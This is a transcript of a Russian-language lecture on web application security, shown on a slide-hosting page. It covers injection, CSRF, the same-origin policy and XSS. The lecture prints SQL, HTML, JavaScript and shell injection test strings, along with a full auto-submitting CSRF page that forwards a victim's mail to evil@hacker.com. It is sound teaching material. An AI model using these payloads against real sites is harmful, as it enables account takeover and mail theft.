• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
Risspa 09
 

Risspa 09

on

  • 6,685 views

 

Statistics

Views

Total Views
6,685
Views on SlideShare
1,321
Embed Views
5,364

Actions

Likes
0
Downloads
17
Comments
0

17 Embeds 5,364

http://andrepetukhov.wordpress.com 3754
http://www.risspa.ru 1020
http://www.securitylab.ru 344
http://risspa.ru 181
http://www.linkedin.com 23
https://andrepetukhov.wordpress.com 13
http://feeds.feedburner.com 9
http://webcache.googleusercontent.com 6
http://thinkery.me 4
http://www.newsblur.com 2
http://www.feedspot.com 2
http://reader.aol.ru 1
http://feedly.com 1
http://cloud.feedly.com 1
http://www.risspa.org 1
http://risspa.org 1
http://127.0.0.1 1
More...

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    Risspa 09 Risspa 09 Presentation Transcript

    • БЕЗОПАСНОСТЬ ВЕБ-ПРИЛОЖЕНИЙ Starter Edition, part I Петухов АндрейFriday, September 28,
    • Содержание Broken Terminology (сегодня) Broken Web (сегодня и в следующий раз) Broken Defenses (в следующий раз)Friday, September 28,
    • Broken Terminology Путаница в концептах ✓ Недостаток/Уязвимость/Угроза/Атака Путаница в классификациях и рейтингах ✓ “аудит по классификации OWASP Top 10” ✓ OWASP Top Ten - рейтинг критичности уязвимостей в веб-приложениях ✓ SANS Top 25 - рейтинг критичности ошибок в ПО ✓ WASC Threat Classification - попытка классификации атак ✓ Common Weakness Enumeration - индуктивная классификация недостатковFriday, September 28,
    • Broken Terminology Путаница в определениях ✓ Wiki: Cross-site scripting (XSS) is a type of computer security vulnerability … that enables attackers to inject client-side script into Web pages viewed by other users. ✓ WASC: Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied code into a users browser instance. ✓ OWASP: Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. ✓ CWE-79: The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Consider this ✓ XSS - в первую очередь атака! ✓ XSS можно провести через DNS rebinding или Cache Poisoning; подходит ли это хотя под одно определение? ✓ The same weakness could be exploited for XSS, redirecting to malicious site (hello, Open Redirect!) or even Session Fixation. Try to guess how!Friday, September 28,
    • Broken Terminology To add insult to injury ✓ “открыт новый класс уязвимостей” - Simple HowTo: 1) Google for rare DSL with dynamic code execution feature - 2) Make a PoC when you can inject DSL-commands into DSL-program - 3) Submit your talk about brand new vulnerability class for conference ✓ “открыт принципиально новый вид атак” ✓ [2005 год] CSRF - новый вид атак? ✓ [2008 год] А UI redressing (Clickjacking)? ✓ Говорят, это все Confused Deputy ✓ Еще говорят, новых классов уязвимостей вообще быть не может ✓ А еще говорят, что классификацию уязвимостей вообще невозможно построить (см. “A critical analysis of vulnerability taxonomies”) ✓ И последнее: SQLi можно использовать для DoS, можно для Authentication Bypass, а можно для Authorization Bypass (Privilege Escalation)Friday, September 28,
    • Insight into weaknesses Есть классификация по времени появления ✓ проектирование, кодирование, внедрение, эксплуатация, [выведение из эксп.] Большинство появляется при кодировании ✓ Из-за отсутствия или неполной реализации механизмов обеспечения ИБ ✓ Из-за некорректной обработки входных данныхFriday, September 28,
    • Downstream Components ✓ Веб-приложение в процессе работы взаимодействует с различными внешними подсистемами: СУБД, LDAP, стандартный интерпретатор ОС, почтовый демон, браузер, файловая система и т.п. ✓ У большинства подсистем есть свой язык, который она умеет интерпретировать: SQL у СУБД, Shell/CMD у стандартного интерпретатора ОС, SMTP-команды у почтового демона, HTML и Javascript у браузера и т.п. ✓ Обращения веб-приложения во внешние подсистемы параметризуются: есть константная часть и есть переменная, значение которой формируется динамически с участием пользовательских данных - шаблоны HTML-страниц, заполняемые данными из СУБД или из запроса - заготовки SQL-запросов, SELECT-критерии в которых заполняются на основе входных параметров - заготовки Shell-команд, к которым необходимо добавить только аргумент - обработка запроса http://newsfeed.us.to/news.php?id=17 может включать PHP-оператор вида mysql_query(“SELECT * FROM news WHERE id = ”.$id);Friday, September 28,
    • The Essence of Injection ✓ В каждом языке определены ключевые слова, разделители, правила оформления секций данных (в т.ч. строк и констант): ➡ SELECT * FROM news WHERE author = ‘petand’ ➡ <a href=”/show?id=1”>View first</a> ➡ eval({ id: 1, name: "Foo", price: 123}) ➡ grep -R “search string” * ✓ В каждом запросе или команде к внешней подсистеме есть контекст команд (Control Channel) и есть контекст данных (Data Channel) ✓ Injection-атаки становятся возможными, если внешний пользователь сможет выйти из контекста данных в контекст команд: ➡ SELECT * FROM news WHERE author = ‘petand’ or sleep(5) -- ‘ ➡ <a href=”/show?id=”1”><script>alert(1)</script><a id=””>View first</a> ➡ eval({ id: 1, name: “Foo”});alert(1);//”, price: 123}) ➡ grep -R “search string” 1; echo “p0wned” #” * More here: http://cwe.mitre.org/data/definitions/74.htmlFriday, September 28,
    • Examples of Injection ✓ SQL-операторы ➡ если входные данные не обрабатываются при построении SQL-запроса ✓ HTML-разметку ➡ если входные данные не обрабатываются при построении HTML-страницы ✓ Javascript-операторы ➡ если входные данные не обрабатываются при построении JSON-объекта ✓ CSS-директивы ➡ если входные данные не обрабатываются при построении CSS-правил ✓ HTTP-заголовки ➡ если входные данные не обрабатываются при построении ответного заголовка (например, Location) ✓ XPath-операторы ➡ если входные данные не обрабатываются при построении XPath-запросаFriday, September 28,
    • Testing for Injection ✓ Методы обнаружения != методы эксплуатации ➡ при обнаружении устанавливается факт наличия недостатка ➡ при эксплуатации достигается конкретная цель ✓ Что можно наблюдать в режиме черного ящика? ➡ статус HTTP-ответа (200 vs 500), заголовки ответа ➡ тело ответа, задержку ответа ✓ Надо пытаться выйти за контекст данных ➡ надо уметь терминировать текущий контекст данных (пресловутая кавычка) ➡ надо уметь добавлять команды так, чтобы итоговый запрос во внешнюю подсистему оставался синтаксически корректным и после внедрения ➡ надо уметь влиять на наблюдаемое поведение (например, вызывать задержку) ✓ Типичные значения для тестирования ➡ 17‘ and sleep(5) -- ➡ “><script>alert(1);</script><a id=”Friday, September 28,
    • Broken Web Cross-origin resource linking & CSRF Same Origin Policy & XSS Content types and content sniffingFriday, September 28,
    • WWW-linking Cross-domain resource linking ➡ <img src=”http://photohosting.com/cute-kitten.jpg” /> ➡ <link rel=”stylesheet” type=”text/css” href=”http://othersite/mystyle.css” /> ➡ <script src=”http://js-vault.us.to/cute-library.js”></script> ➡ <iframe src=”http://socialnetwork.no/social.windget” /> Ambient credentials ➡ cookies ➡ HTTP-authorization Let’s have some fun!Friday, September 28,
    • CSRF <html> <head><title>All you mail are belong to us</title></head> <body onload=”CsrfForm.submit();”> <img src="http://www.jewelrynutauctions.com/wp-content/uploads/cute-kittens-20- great-pictures-1.jpg" /> <form id=”CsrfForm” action=”http://mail/actions/add” method=”POST”> <input type=”hidden” name=”type” value=”forward” /> <input type=”hidden” name=”condition” value=”all” /> <input type=”hidden” name=”target” value=”evil@hacker.com” /> </form> </body> </html> ‣ CSRF - это выполнение действий! ‣ Смена пароля, смена почты, добавление админа и т.п. ‣ Считывать ответ от CSRF-запроса не даст SOP ‣ WTF SOP????Friday, September 28,
    • Same Origin Policy Зачем какой-то CSRF, когда можно было бы сделать так: <html> <!-- HTML page hosted at http://evilhacker.us.to/bank-hijack.html --> <head><title>All you bank accounts are belong to us</title></head> <body> <!-- Important step of an attack: cute little kittens should still be there! --> <img src="http://www.jewelrynutauctions.com/wp-content/uploads/cute-kittens-20- great-pictures-1.jpg" /> <iframe name=”bank” src=”https://myprivatebank.no/myaccount/transfers/history” /> <script> document.bank.document. // <---- read whatever you want! </script> </body></html> SOP simplified: код из одного источника не может читать или изменять DOM-объекты другого источника Источник = протокол + домен + порт More here: http://www.w3.org/Security/wiki/Same_Origin_PolicyFriday, September 28,
    • Cross Site Scripting Цель XSS - обойти SOP Для этого надо, чтобы наш javascript вернулся в браузер пользователя из того источника, DOM которого мы хотим считывать (https://myprivatebank.no/) Возможность внедрения HTML-разметки позволяет сделать ровно это: вставить в приложение скрипт, который потом загрузит жертва в свой браузер в контексте нужного источника В общем случае XSS позволяет делать с уязвимым сайтом все то же, что может делать пользователь, загрузивший XSS-скриптFriday, September 28,
    • XSS: common cases Reflected vs Stored XSS vs [DOM-based] ✓ reflected могут быть отражены AntiXSS фильтрами в браузерах (IE, Chrome, NoScript) ✓ про экслуатацию DOM-based затруднительно узнать из логов сервера With user interaction vs W/o user interaction Browser specific vs Browser agnostic XSS over CSRFFriday, September 28,
    • XSS exploitation The BeeF Project DEMO http://www.youtube.com/watch? v=XsXOYwZkTyoFriday, September 28,
    • В следующий раз Broken UI (UI redressing) Broken cookies Broken HTTPS Атаки класса XXE Почему разработчики веб-приложений должны знать про особенности каждого браузера Broken Defense (WAF, browser security and other)Friday, September 28,
    • Спасибо за внимание! Вопросы? Twitter: @p3tand Blog: https://andrepetukhov.wordpress.com/ Email: andrew.petukhov@internalsecurity.ru Видео лекций: https://www.youtube.com/playlist? list=PL2173C4AB816E4F3F Must read: “The Tangled Web” by Michal ZalewskiFriday, September 28,